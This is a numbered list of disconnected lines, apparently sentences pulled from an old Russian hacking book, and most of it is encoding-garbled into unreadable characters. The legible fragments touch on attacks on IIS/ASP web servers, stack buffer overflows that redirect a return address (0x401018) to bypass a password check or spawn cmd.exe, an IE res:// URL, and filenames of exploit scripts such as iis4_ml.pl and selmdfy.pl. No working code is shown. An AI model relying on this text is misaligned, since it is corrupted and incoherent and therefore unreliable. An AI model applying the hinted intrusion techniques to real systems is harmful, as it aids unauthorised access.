[255]   訡 ࠭﫠   ⠫ ⨯ ᯮ塞 䠩: <.ht>, <.id>, <.pl>  ⠪ .

[256]  頩,  㦥  ਪ뫨

[257]  ⠪: "GET /default.asp\"

[258]   室  ஬ ⮬ 饩 

[259]   ࢥ 諥 . , 롥 㣮 ࢥ.

[260]  䠩 file://SRC/index_hack.htm

[261]  ⢥࣭, ॡ ⥭䨪

[262] ᮡ 墠 䨪  ᬮ७    , 饭  ன ⮬ 饩 

[263]  ⠪     ᥬ⢥ 堪஢.

[264] ⮤ base ।뢠 ࠧ  짮⥫  ஫  

[265] 筥  ⨥ ᯥ ࠭祭  ਯ⮠  

[266] < 㤭> - ⠪  ࣮ 堪஢ 뢠 ணࠬ, ࠡ騥  뢠騬,  ᯥᯥ⨢묨 ஥⠬.

[267]   ८ࠧ ਣ ਫ <>, 室饥  Windows

[268] Internet Explorer  ᨨ 5.x  ন 筮   

[269]  ⮬ ᫥ Internet Explorer  Netscape Navigator

[270] , 20990125196  ࠢ 3512368580!

[271] ᭠ ப, । ⮤ GET, ࠭祭 <ᥣ> 30.612 ⠬.  ࠭祭    ᨩ Internet Explorer  Netscape Navigator, ⮬   ᨬ쭠  ப,     䥩 < ।஢>,  ࠩ ,  樮 ⥬ Windows 9x\Windows NT 4..

[272]  ⠭ ᮡ⢥ WEB-ࢥ  쭮 設

[273]   쬨 .

[274]     HTTP/1.1

[275] 㥬 ࠧࠡ稪  ,   筮  ॠ㥬

[276] ᫨  ᯮ Proxy-ࢥ,   REMOTE_ADDR 㤥 ᮤঠ  IP 

[277]file://SRC/test-cgi

[278] 㬥,  ⢨ 訡 ॠ樨.

[279] ਢ  ࠣ ⢥ ࢥ

[280] Microsoft Active Server Pages (ASP) 㦠,  ⮣   ᯮ,  ᫥ ⮣  ⠢ ASP ࠢ  IIS.

[281] <᫨  稭  ⭮⥩ ࠭ ࠭,  ᥣ  > ⢥  

[282] Alias

[283]  ᪥  室   file://SRC/iis4_ml.pl

[284] 筮  ࢥ ⠭,  ࠩ , 64  RAM,   㦥  㠫쭮 ᪮ .

[285]  ( ᥢ஠ਪ᪨ 楢   ⮣ ) - ᫮  5.0

[286]   file://SRC/siou

[287]    ॠ쭠 뫪 誢 ᮢ      ࢥ  ࠧ IP ᮢ, ᯮ  ᢮ IP  (஡  ⮬ 㤥 ᪠   <⠪ ⭨>)

[288] <SENDMAIL - ⥢ ⮢ > Eric Allman. ॢ ⭨ ᠭ

[289] , 筮

[290] ᪨  , 祢, .

[291]   <䮫᪠ ஭> . , 1957

[292] 쪮 ᬮ, 㪠  ண!

[293]  ⮩  楫  ᯮ짮 ⮢ ॠ樥, ᮤঠ饩  䠩 "/SRC/ahadir.ru"

[294] ᫨   室 ,   ࠭   

[295] ECHO "*" 뢮  ࠭ '*',   ᮤন ४ਨ.

[296] ⮪ ᨨ 室  ᪥   file://LOG/http_prot.log

[297] ᫨  㣫 ᪮ 祣  㪠뢠,  ⥭ 㤥 ந室  ன⢠ ⠭⭮ 

[298]  ᪥  室  䠩 file://SRC/selmdfy.pl,  ⠪  ⭠   http://lightning.prohosting.com/~kpnc/cgi-bin/selmdfy.pl

[299] .. 殬, ࠧ⨢訬 ஭ ணࠬ  ᢮ ࢥ

[300]  'x' ० 㯠 ࠢ '>'  '<'.

[301]  ᨭ⠪᪨  祬  ⫨砥   䠩

[302] 窠   ⠪  㠫쭮,   ᠬ 

[303]  ப 뤥  ⮬.

[304] 㧥 Internet Exploder ন ⮪ ᮢ resource protocol,   㦠   䠩. ਬ: res://C:\WINNT\system32\shdoclc.dll/dnserror.htm

[305]   ,   諥 - 㤠.

[306] ..   

[307] 冷 ᯮ ஢  ⨢    ࠪ ᯮ㥬 . ਬ, Microsoft Visual C++ 6.0 ࠧ  ६  ⭮ 浪. ..   砥    뢠  user,   pass.

[308] , ࠢ , ४ ᢮ ᮡ⢥ ⮬ <ࠧ 諥 IDA>, 饭 孨 ᥬ஢

[309]  ᠩ ࠧࠡ稪 www.idapro.com 室 - ਣ  ᯥਬ⮢, ᠭ  ⮩ 

[310] , 祬  易⥫쭮   砫

[311]  0x401018 㪠뢠   , ᫥ 樥 맮 㭪樨 Auth. 㬥, ⠪ 롮  祭,   । ࠢ  㣮 ⪥ ணࠬ.

[312] 쪮  Windows 2000

[313]  饭 ⨭  䠩 buff.psw ⠥ ⮫쪮  ஫,   짮⥫ .

[314]  ࠧ  ॡ஬ ஫

[315]  ⮬ 뤥 㬥 㭪樨.

[316]  ⨬ ᫮  ⠭: - ᫮  ࠢ 16 ⠬,  ࠧ來 .

[317] ⭮⥫ ᬥ饭 뢠  誨  ⥪ (ᬮ ਨ  ᥬ஢ ⨭ ணࠬ printf.bug.c  ப 0x401003)

[318]   㡫஢ , ࠢ騩 ஫, 

[319] ,   ᥡ   , ⨢  ப 㫥 ?

[320]   㬥 ᮢ  ६ ।⢮ ॣ ESP  祭 ॣ EBP  ࠭.

[321]   ணࠬ 뢠  ,    ᥤ ६묨,  १ ࠢ   .

[322]   ⮣,     ணࠬ 뤥  ᯮ殮 諥   

[323] ⪠

[324]    ᯮ騬    䠩 ஢

[325]  ⠪ ਫ   ᠬ ⪮   ⮨ ᥣ   : ret.

[326]  ந⥫쭮?    ᥡ .  ࠢ ࠧ, 祬  , ᫨誮 ᫮   冷 ,  - १ ⥬,  㦨  <祣- ⠫ ମ>.

[327]  ᫮,  ணࠬ 饭  ࠢ Windows 2000.

[328] Sing Extend

[329] ਬ,  맮 cmd.exe, ਢ   <ᯮ짮 ⥪  맮    Windows NT>  ࠡ⠥   ,  祭 ॣ EDX  .

[330] ਬ, , 

[331] ᪮  쭥襥 믮 ணࠬ, .. <蠥> .

[332]   (.. 0x14  ⭠筮 ⥬ ᫥)    ப   訩  ࠭  

[333]    諮    ᮪饭   騥 ࠣ.  ⮪ ᮤন  䠩 "/LOG/buff.demo.log"

[334] , 祬, ⭮, ᪮ 騩 ப  筮 뢠  訩   ,  ࠢ ,   , ᯮ  (..   )  ஭묨.

[335] <訡?   訡,  ⥬ 㭪!>

[336] ஡  ⮬ ᪠   <⠪  Windows NT>

[337]  ᫮,  ᪮ ॡ   ⬮ 

[338] 㬥, ⨬஢  ᪮,   ࠧ





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